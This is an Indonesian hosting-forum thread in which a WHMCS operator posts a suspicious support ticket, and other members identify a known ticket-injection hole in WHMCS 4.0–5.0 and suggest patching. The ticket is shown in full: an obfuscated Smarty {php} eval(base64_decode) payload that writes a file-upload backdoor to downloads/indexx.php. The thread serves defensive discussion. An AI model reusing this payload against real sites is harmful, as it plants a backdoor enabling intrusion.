Dapat Code aneh di Ticket WHMCS

[sastrahost]

Pagi all
Semalam saya mendapatkan ticket dari pengguna tidak terdaftar dengan email ngawur. dan isinya seperti ini


{php}eval(base64_decode('JGM9YmFzZTY0X2RlY29kZSgiUEQ5d2FIQU5DbWxtS0dsemMyVjBLQ1JmVUU5VFZGc25VM1ZpYldsMEoxMHBLWHNOQ2lBZ0lDQWtabWxzWldScGNpQTlJQ0lpT3lBTkNpQWdJQ0FrYldGNFptbHNaU0E5SUNjeU1EQXdNREF3SnpzTkNnMEtJQ0FnSUNSMWMyVnlabWxzWlY5dVlXMWxJRDBnSkY5R1NVeEZVMXNuYVcxaFoyVW5YVnNuYm1GdFpTZGRPdzBLSUNBZ0lDUjFjMlZ5Wm1sc1pWOTBiWEFnUFNBa1gwWkpURVZUV3lkcGJXRm5aU2RkV3lkMGJYQmZibUZ0WlNkZE93MEtJQ0FnSUdsbUlDaHBjM05sZENna1gwWkpURVZUV3lkcGJXRm5aU2RkV3lkdVlXMWxKMTBwS1NCN0RRb2dJQ0FnSUNBZ0lDUmhZbTlrSUQwZ0pHWnBiR1ZrYVhJdUpIVnpaWEptYVd4bFgyNWhiV1U3RFFvZ0lDQWdJQ0FnSUVCdGIzWmxYM1Z3Ykc5aFpHVmtYMlpwYkdVb0pIVnpaWEptYVd4bFgzUnRjQ3dnSkdGaWIyUXBPdzBLSUNBTkNtVmphRzhpUEdObGJuUmxjajQ4WWo1RWIyNWxJRDA5UGlBa2RYTmxjbVpwYkdWZmJtRnRaVHd2WWo0OEwyTmxiblJsY2o0aU93MEtmUTBLZlEwS1pXeHpaWHNOQ21WamFHOG5EUW84Wm05eWJTQnRaWFJvYjJROUlsQlBVMVFpSUdGamRHbHZiajBpSWlCbGJtTjBlWEJsUFNKdGRXeDBhWEJoY25RdlptOXliUzFrWVhSaElqNDhhVzV3ZFhRZ2RIbHdaVDBpWm1sc1pTSWdibUZ0WlQwaWFXMWhaMlVpUGp4cGJuQjFkQ0IwZVhCbFBTSlRkV0p0YVhRaUlHNWhiV1U5SWxOMVltMXBkQ0lnZG1Gc2RXVTlJbE4xWW0xcGRDSStQQzltYjNKdFBpYzdEUXA5RFFvL1BpQT0iKTsNCiRmaWNoaWVyID0gZm9wZW4oJ2Rvd25sb2Fkcy9pbmRleHgucGhwJywndycpOw0KZndyaXRlKCRmaWNoaWVyLCAkYyk7DQpmY2xvc2UoJGZpY2hpZXIpOw=='));exit;{/php}

ini sepertinya code untuk hack/deface atau suatu yang intinya dipersalah gunakan kan?
atau mungkin ada saran dari master yang lebih berpengalaman? mungkin ada suatu yang akan terjadi dengan whmcs saya?
Thanks

 

[jaapns]

Pernah di bahasa di http://www.diskusiwebhosting.com/sh...ksi-lewat-SUPPORT-TICKET-WHMCS?highlight=eval

coba cekidot

 

[Afiv]

Dulu memang pernah ada celah lewat tiket whmcs, tapi sepertinya sekarang sudah tidak bisa?

 

[sigmabisnis]

Pernah di bahasa di http://www.diskusiwebhosting.com/sh...ksi-lewat-SUPPORT-TICKET-WHMCS?highlight=eval

coba cekidot

Ya coba mas sastra, mungkin whmcs nya versi berapa itu ya... perlu dilakukan patch atau menambahkan hook script,
yg pernah di bahas pada link di atas.

 

[sastrahost]

Ya coba mas sastra, mungkin whmcs nya versi berapa itu ya... perlu dilakukan patch atau menambahkan hook script,
yg pernah di bahas pada link di atas.

sipp, saya sudah cek om
dan ternyata bug hanya untuk whmcs 4.0-5.0 ya.
punya saya 5.1 berarti masih aman

 

[sastrahost]

Pernah di bahasa di http://www.diskusiwebhosting.com/sh...ksi-lewat-SUPPORT-TICKET-WHMCS?highlight=eval

coba cekidot

sangat membantu om
makasih